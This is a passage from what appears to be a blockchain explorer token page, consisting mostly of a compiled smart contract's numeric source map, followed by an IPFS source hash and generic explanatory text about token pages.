31:4;9910:26;;9883:53;:73;;;;-1:-1:-1;9950:6:0;;-1:-1:-1;;;;;9940:16:0;;;9950:6;;9940:16;;9883:73;9878:179;;;9983:39;9996:6;10004:9;10015:6;9983:12;:39::i;:::-;9975:69;;;;-1:-1:-1;;;9975:69:0;;18899:2:1;9975:69:0;;;18881:21:1;18938:2;18918:18;;;18911:30;-1:-1:-1;;;18957:18:1;;;18950:47;19014:18;;9975:69:0;18697:341:1;9975:69:0;10067:18;10088:40;10102:6;10110:9;10121:6;10088:13;:40::i;:::-;10067:61;-1:-1:-1;10139:23:0;10165:19;10067:61;10165:6;:19;:::i;:::-;-1:-1:-1;;;;;10215:17:0;;;;;;:9;:17;;;;;;10139:45;;-1:-1:-1;10215:26:0;;10235:6;;10215:26;:::i;:::-;-1:-1:-1;;;;;10195:17:0;;;;;;:9;:17;;;;;:46;;;;10252:10;:24;;10266:10;;10195:17;10252:24;;10266:10;;10252:24;:::i;:::-;;;;-1:-1:-1;;;;;;;10310:20:0;;;;;;:9;:20;;;;;;:38;;10333:15;;10310:38;:::i;:::-;-1:-1:-1;;;;;10287:20:0;;;;;;;:9;:20;;;;;;;:61;;;;10364:35;;;;;;;;;;10392:6;1464:25:1;;1452:2;1437:18;;1318:177;10364:35:0;;;;;;;;-1:-1:-1;10417:4:0;;9277:1152;-1:-1:-1;;;;;9277:1152:0:o;16783:351::-;16853:27;16868:11;16853:14;:27::i;:::-;16915:16;;;16929:1;16915:16;;;;;;;;16891:21;;16915:16;;;;;;;;;;-1:-1:-1;16915:16:0;16891:40;;16960:4;16942;16947:1;16942:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16942:23:0;;;-1:-1:-1;;;;;16942:23:0;;;;;4432:42;-1:-1:-1;;;;;16986:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16976:4;16981:1;16976:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16976:31:0;;;:7;;;;;;;;;:31;17106:3;;17018:108;;-1:-1:-1;;;17018:108:0;;4432:42;;17018:68;;:108;;17087:11;;17099:1;;17101:4;;17106:3;;;17110:15;;17018:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16842:292;16783:351;:::o;17469:134::-;17531:4;-1:-1:-1;;;;;17531:12:0;;17550:6;17531:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;17584:3:0;;17570:25;;-1:-1:-1;;;17570:25:0;;-1:-1:-1;;;;;17584:3:0;;;17570:25;;;20350:51:1;20417:18;;;20410:34;;;17570:4:0;:13;;;;-1:-1:-1;17570:13:0;;-1:-1:-1;20323:18:1;;;-1:-1:-1;17570:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17469:134;:::o;8493:381::-;8623:8;;-1:-1:-1;;;;;8623:8:0;8642:50;;;;-1:-1:-1;8687:1:0;8642:50;8702:28;8717:12;8702:14;:28::i;:::-;8741:125;;-1:-1:-1;;;8741:125:0;;8804:4;8741:125;;;21046:34:1;21096:18;;;21089:34;;;8825:1:0;21139:18:1;;;21132:34;;;21182:18;;;21175:34;-1:-1:-1;;;;;21246:15:1;;21225:19;;;21218:44;8849:15:0;21278:19:1;;;21271:35;4432:42:0;;8741:30;;8779:13;;20980:19:1;;8741:125:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8585:289;8493:381;;;:::o;15483:1292::-;4867:10;:17;;-1:-1:-1;;4867:17:0;;;;;15574:10:::1;::::0;15623:11:::1;::::0;15600:34;::::1;::::0;::::1;::::0;:50:::1;;-1:-1:-1::0;15638:12:0::1;::::0;::::1;;15600:50;15595:1149;;;15696:11;;15673:19;:34;15668:80;;-1:-1:-1::0;15734:11:0::1;::::0;15668:80:::1;15840:1;15822:15:::0;;15762:20:::1;::::0;15840:1;15822:15:::1;-1:-1:-1::0;;;15822:15:0;::::1;::::0;::::1;::::0;15785:34:::1;::::0;15807:12;;;::::1;;15785:19:::0;:34:::1;:::i;:::-;:52;;;;:::i;:::-;:56;;;;:::i;:::-;15762:79:::0;-1:-1:-1;15870:21:0::1;15894:34;15762:79:::0;15894:19;:34:::1;:::i;:::-;15870:58:::0;-1:-1:-1;15963:13:0::1;2991:1;15963:2;:13;:::i;:::-;15947;:29;15943:639;;;16078:4;15998:19;16060:24:::0;;;:9:::1;:24;::::0;;;;:47;;16020:21:::1;::::0;16088:19;;16060:24;:47:::1;::::0;16088:19;;16060:47:::1;:::i;:::-;::::0;;;-1:-1:-1;16126:35:0::1;::::0;-1:-1:-1;16147:13:0;16126:20:::1;:35::i;:::-;16194:19;16180:10;;:33;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;16232:19:0::1;::::0;-1:-1:-1;16254:35:0::1;16278:11:::0;16254:21:::1;:35;:::i;:::-;16313:12;::::0;16232:57;;-1:-1:-1;16313:12:0;;::::1;;;:16:::0;16308:259:::1;;16408:15;::::0;16355:21:::1;::::0;16408:15:::1;-1:-1:-1::0;;;16408:15:0;::::1;::::0;::::1;::::0;16379:26:::1;::::0;16393:12;;;::::1;;16379:11:::0;:26:::1;:::i;:::-;:44;;;;:::i;:::-;16355:68;;16447:28;16462:12;16447:14;:28::i;:::-;16498:49;16512:12;16526:13;16541:5;16498:13;:49::i;:::-;16332:235;16308:259;15979:603;;15943:639;16626:21;16665:23:::0;;16662:71:::1;;16692:38;16710:19;16692:17;:38::i;:::-;15653:1091;;;15595:1149;-1:-1:-1::0;16766:1:0::1;16754:9;:13:::0;4909:10;:18;;-1:-1:-1;;4909:18:0;;;15483:1292::o;10611:495::-;10776:12;;10715:4;;10756;;10776:12;;:34;;;;-1:-1:-1;;;;;;10793:17:0;;;;;;:9;:17;;;;;;;;10792:18;10776:34;:59;;;;-1:-1:-1;;;;;;10815:20:0;;;;;;:9;:20;;;;;;;;10814:21;10776:59;10771:294;;;10875:12;;10858:14;:29;10853:201;;;-1:-1:-1;10911:5:0;10853:201;;;-1:-1:-1;;;;;10944:16:0;;;;;;:5;:16;;;;;;;;10943:17;:79;;;;-1:-1:-1;11005:16:0;;-1:-1:-1;;;;;10965:20:0;;;;;;:9;:20;;;;;;:37;;10988:14;;10965:37;:::i;:::-;:56;10943:79;10938:116;;;-1:-1:-1;11046:5:0;11082:16;10611:495;-1:-1:-1;;;;10611:495:0:o;11399:852::-;11560:12;;11496:7;;;;11560:12;;11559:13;;:32;;-1:-1:-1;;;;;;11576:15:0;;;;;;:7;:15;;;;;;;;11559:32;:54;;;-1:-1:-1;;;;;;11595:18:0;;;;;;:7;:18;;;;;;;;11559:54;11554:661;;;-1:-1:-1;11644:1:0;11554:661;;;-1:-1:-1;;;;;11669:13:0;;;;;;:5;:13;;;;;;;;11664:551;;;11757:17;;11722:12;;11757:17;-1:-1:-1;;;11757:17:0;;;;;11722:32;;-1:-1:-1;;;11737:17:0;;;;;;;11722:32;:::i;:::-;:52;;;;:::i;:::-;11706:12;:68;11701:405;;11817:11;;11831:3;;11808:20;;11817:11;;11808:6;:20;:::i;:::-;:26;;;;:::i;:::-;11796:38;;11664:551;;11701:405;11893:17;;11878:12;;:32;;-1:-1:-1;;;11893:17:0;;;;;11878:32;:::i;:::-;11862:12;:48;11857:249;;11953:14;;11970:3;;11944:23;;-1:-1:-1;;;11953:14:0;;;;11944:6;:23;:::i;11857:249::-;12016:12;;12000;:28;11995:111;;12070:14;;12087:3;;12061:23;;-1:-1:-1;;;12070:14:0;;;;12061:6;:23;:::i;11995:111::-;11664:551;;;-1:-1:-1;;;;;12128:16:0;;;;;;:5;:16;;;;;;;;12123:92;;;12184:12;;12199:3;;12175:21;;12184:12;;;;;12175:6;:21;:::i;:::-;:27;;;;:::i;:::-;12163:39;11399:852;-1:-1:-1;;;;;11399:852:0:o;7348:326::-;7439:4;7419:26;;;;:11;:26;;;;;;;;4432:42;7419:49;;;;;;;;:64;-1:-1:-1;7414:253:0;;;7521:4;7501:26;;;;:11;:26;;;;;;;;4432:42;7501:49;;;;;;;;;;-1:-1:-1;;7501:69:0;;;;7590:65;;1464:25:1;;;4432:42:0;;7521:4;7590:65;;1437:18:1;7590:65:0;;;;;;;7414:253;7348:326;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:250:1;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;806:315;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2150:156::-;2216:20;;2276:4;2265:16;;2255:27;;2245:55;;2296:1;2293;2286:12;2245:55;2150:156;;;:::o;2311:118::-;2397:5;2390:13;2383:21;2376:5;2373:32;2363:60;;2419:1;2416;2409:12;2434:311;2497:6;2505;2558:2;2546:9;2537:7;2533:23;2529:32;2526:52;;;2574:1;2571;2564:12;2526:52;2597:27;2614:9;2597:27;:::i;:::-;2587:37;;2674:2;2663:9;2659:18;2646:32;2687:28;2709:5;2687:28;:::i;:::-;2734:5;2724:15;;;2434:311;;;;;:::o;2750:159::-;2817:20;;2877:6;2866:18;;2856:29;;2846:57;;2899:1;2896;2889:12;2914:256;2980:6;2988;3041:2;3029:9;3020:7;3016:23;3012:32;3009:52;;;3057:1;3054;3047:12;3009:52;3080:28;3098:9;3080:28;:::i;:::-;3070:38;;3127:37;3160:2;3149:9;3145:18;3127:37;:::i;:::-;3117:47;;2914:256;;;;;:::o;3175:252::-;3239:6;3247;3300:2;3288:9;3279:7;3275:23;3271:32;3268:52;;;3316:1;3313;3306:12;3268:52;3339:27;3356:9;3339:27;:::i;:::-;3329:37;;3385:36;3417:2;3406:9;3402:18;3385:36;:::i;3432:517::-;3503:6;3511;3519;3572:2;3560:9;3551:7;3547:23;3543:32;3540:52;;;3588:1;3585;3578:12;3540:52;3627:9;3614:23;3646:31;3671:5;3646:31;:::i;:::-;3696:5;-1:-1:-1;3753:2:1;3738:18;;3725:32;3766:30;3725:32;3766:30;:::i;:::-;3815:7;-1:-1:-1;3874:2:1;3859:18;;3846:32;3887:30;3846:32;3887:30;:::i;:::-;3936:7;3926:17;;;3432:517;;;;;:::o;3954:247::-;4013:6;4066:2;4054:9;4045:7;4041:23;4037:32;4034:52;;;4082:1;4079;4072:12;4034:52;4121:9;4108:23;4140:31;4165:5;4140:31;:::i;4498:163::-;4565:20;;4625:10;4614:22;;4604:33;;4594:61;;4651:1;4648;4641:12;4666:324;4741:6;4749;4757;4810:2;4798:9;4789:7;4785:23;4781:32;4778:52;;;4826:1;4823;4816:12;4778:52;4849:28;4867:9;4849:28;:::i;:::-;4839:38;;4896:37;4929:2;4918:9;4914:18;4896:37;:::i;:::-;4886:47;;4980:2;4969:9;4965:18;4952:32;4942:42;;4666:324;;;;;:::o;5203:367::-;5266:8;5276:6;5330:3;5323:4;5315:6;5311:17;5307:27;5297:55;;5348:1;5345;5338:12;5297:55;-1:-1:-1;5371:20:1;;5414:18;5403:30;;5400:50;;;5446:1;5443;5436:12;5400:50;5483:4;5475:6;5471:17;5459:29;;5543:3;5536:4;5526:6;5523:1;5519:14;5511:6;5507:27;5503:38;5500:47;5497:67;;;5560:1;5557;5550:12;5497:67;5203:367;;;;;:::o;5575:437::-;5661:6;5669;5722:2;5710:9;5701:7;5697:23;5693:32;5690:52;;;5738:1;5735;5728:12;5690:52;5778:9;5765:23;5811:18;5803:6;5800:30;5797:50;;;5843:1;5840;5833:12;5797:50;5882:70;5944:7;5935:6;5924:9;5920:22;5882:70;:::i;:::-;5971:8;;5856:96;;-1:-1:-1;5575:437:1;-1:-1:-1;;;;5575:437:1:o;6017:773::-;6139:6;6147;6155;6163;6216:2;6204:9;6195:7;6191:23;6187:32;6184:52;;;6232:1;6229;6222:12;6184:52;6272:9;6259:23;6301:18;6342:2;6334:6;6331:14;6328:34;;;6358:1;6355;6348:12;6328:34;6397:70;6459:7;6450:6;6439:9;6435:22;6397:70;:::i;:::-;6486:8;;-1:-1:-1;6371:96:1;-1:-1:-1;6574:2:1;6559:18;;6546:32;;-1:-1:-1;6590:16:1;;;6587:36;;;6619:1;6616;6609:12;6587:36;;6658:72;6722:7;6711:8;6700:9;6696:24;6658:72;:::i;:::-;6017:773;;;;-1:-1:-1;6749:8:1;-1:-1:-1;;;;6017:773:1:o;6795:388::-;6863:6;6871;6924:2;6912:9;6903:7;6899:23;6895:32;6892:52;;;6940:1;6937;6930:12;6892:52;6979:9;6966:23;6998:31;7023:5;6998:31;:::i;:::-;7048:5;-1:-1:-1;7105:2:1;7090:18;;7077:32;7118:33;7077:32;7118:33;:::i;7448:127::-;7509:10;7504:3;7500:20;7497:1;7490:31;7540:4;7537:1;7530:15;7564:4;7561:1;7554:15;7580:422;7669:1;7712:5;7669:1;7726:270;7747:7;7737:8;7734:21;7726:270;;;7806:4;7802:1;7798:6;7794:17;7788:4;7785:27;7782:53;;;7815:18;;:::i;:::-;7865:7;7855:8;7851:22;7848:55;;;7885:16;;;;7848:55;7964:22;;;;7924:15;;;;7726:270;;;7730:3;7580:422;;;;;:::o;8007:806::-;8056:5;8086:8;8076:80;;-1:-1:-1;8127:1:1;8141:5;;8076:80;8175:4;8165:76;;-1:-1:-1;8212:1:1;8226:5;;8165:76;8257:4;8275:1;8270:59;;;;8343:1;8338:130;;;;8250:218;;8270:59;8300:1;8291:10;;8314:5;;;8338:130;8375:3;8365:8;8362:17;8359:43;;;8382:18;;:::i;:::-;-1:-1:-1;;8438:1:1;8424:16;;8453:5;;8250:218;;8552:2;8542:8;8539:16;8533:3;8527:4;8524:13;8520:36;8514:2;8504:8;8501:16;8496:2;8490:4;8487:12;8483:35;8480:77;8477:159;;;-1:-1:-1;8589:19:1;;;8621:5;;8477:159;8668:34;8693:8;8687:4;8668:34;:::i;:::-;8738:6;8734:1;8730:6;8726:19;8717:7;8714:32;8711:58;;;8749:18;;:::i;:::-;8787:20;;8007:806;-1:-1:-1;;;8007:806:1:o;8818:140::-;8876:5;8905:47;8946:4;8936:8;8932:19;8926:4;8905:47;:::i;8963:168::-;9036:9;;;9067;;9084:15;;;9078:22;;9064:37;9054:71;;9105:18;;:::i;9136:340::-;9338:2;9320:21;;;9377:2;9357:18;;;9350:30;-1:-1:-1;;;9411:2:1;9396:18;;9389:46;9467:2;9452:18;;9136:340::o;9481:128::-;9548:9;;;9569:11;;;9566:37;;;9583:18;;:::i;9614:348::-;9816:2;9798:21;;;9855:2;9835:18;;;9828:30;9894:26;9889:2;9874:18;;9867:54;9953:2;9938:18;;9614:348::o;10322:217::-;10362:1;10388;10378:132;;10432:10;10427:3;10423:20;10420:1;10413:31;10467:4;10464:1;10457:15;10495:4;10492:1;10485:15;10378:132;-1:-1:-1;10524:9:1;;10322:217::o;10878:125::-;10943:9;;;10964:10;;;10961:36;;;10977:18;;:::i;11690:148::-;11778:4;11757:12;;;11771;;;11753:31;;11796:13;;11793:39;;;11812:18;;:::i;15256:251::-;15326:6;15379:2;15367:9;15358:7;15354:23;15350:32;15347:52;;;15395:1;15392;15385:12;15347:52;15427:9;15421:16;15446:31;15471:5;15446:31;:::i;15512:287::-;15641:3;15679:6;15673:13;15695:66;15754:6;15749:3;15742:4;15734:6;15730:17;15695:66;:::i;:::-;15777:16;;;;;15512:287;-1:-1:-1;;15512:287:1:o;16858:127::-;16919:10;16914:3;16910:20;16907:1;16900:31;16950:4;16947:1;16940:15;16974:4;16971:1;16964:15;16990:135;17029:3;17050:17;;;17047:43;;17070:18;;:::i;:::-;-1:-1:-1;17117:1:1;17106:13;;16990:135::o;17482:168::-;17549:6;17575:10;;;17587;;;17571:27;;17610:11;;;17607:37;;;17624:18;;:::i;:::-;17607:37;17482:168;;;;:::o;19175:988::-;19445:4;19493:3;19482:9;19478:19;19524:6;19513:9;19506:25;19550:2;19588:6;19583:2;19572:9;19568:18;19561:34;19631:3;19626:2;19615:9;19611:18;19604:31;19655:6;19690;19684:13;19721:6;19713;19706:22;19759:3;19748:9;19744:19;19737:26;;19798:2;19790:6;19786:15;19772:29;;19819:1;19829:195;19843:6;19840:1;19837:13;19829:195;;;19908:13;;-1:-1:-1;;;;;19904:39:1;19892:52;;19999:15;;;;19964:12;;;;19940:1;19858:9;19829:195;;;-1:-1:-1;;;;;;;20080:32:1;;;;20075:2;20060:18;;20053:60;-1:-1:-1;;;20144:3:1;20129:19;20122:35;20041:3;19175:988;-1:-1:-1;;;19175:988:1:o;20455:245::-;20522:6;20575:2;20563:9;20554:7;20550:23;20546:32;20543:52;;;20591:1;20588;20581:12;20543:52;20623:9;20617:16;20642:28;20664:5;20642:28;:::i;21317:306::-;21405:6;21413;21421;21474:2;21462:9;21453:7;21449:23;21445:32;21442:52;;;21490:1;21487;21480:12;21442:52;21519:9;21513:16;21503:26;;21569:2;21558:9;21554:18;21548:25;21538:35;;21613:2;21602:9;21598:18;21592:25;21582:35;;21317:306;;;;;:::o

Swarm Source

ipfs://987fdc6dd59270bd2ee727a7e030e7a58ae780b7bfcbfb5702f594a957e52e4a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.